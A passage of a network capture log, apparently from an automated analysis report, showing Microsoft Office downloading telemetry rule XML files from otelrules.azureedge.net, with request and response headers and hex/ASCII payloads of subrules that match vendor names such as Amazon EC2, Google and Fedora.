2024-11-23 10:22:16 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102217Z-178bfbc474bwlrhlhC1NYCy3kg000000047000000000e384 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:19 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102219Z-174c587ffdf9xbcchC1TEBxkz400000002m000000000dw89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102219Z-178bfbc474b9fdhphC1NYCac0n000000046g00000000a1uv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:19 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102219Z-174c587ffdftv9hphC1TEBm29w00000002n000000000h716 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102219Z-174c587ffdf59vqchC1TEByk6800000002v000000000gxcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102219Z-174c587ffdfn4nhwhC1TEB2nbc00000002tg00000000e3d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:21 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7fefabc9-101e-000b-0f11-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102221Z-178bfbc474bwlrhlhC1NYCy3kg00000004bg000000005p22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:21 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 12647bc5-a01e-0070-6743-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102221Z-178bfbc474bnwsh4hC1NYC2ubs00000004g00000000013ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:21 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102221Z-178bfbc474bw8bwphC1NYC38b4000000041000000000e08m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102221Z-174c587ffdf8lw6dhC1TEBkgs800000002rg00000000dky1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:21 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102221Z-174c587ffdf9xbcchC1TEBxkz400000002kg00000000dcfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 25a1d219-c01e-007a-1943-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102223Z-178bfbc474bv587zhC1NYCny5w000000049g000000001b5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" 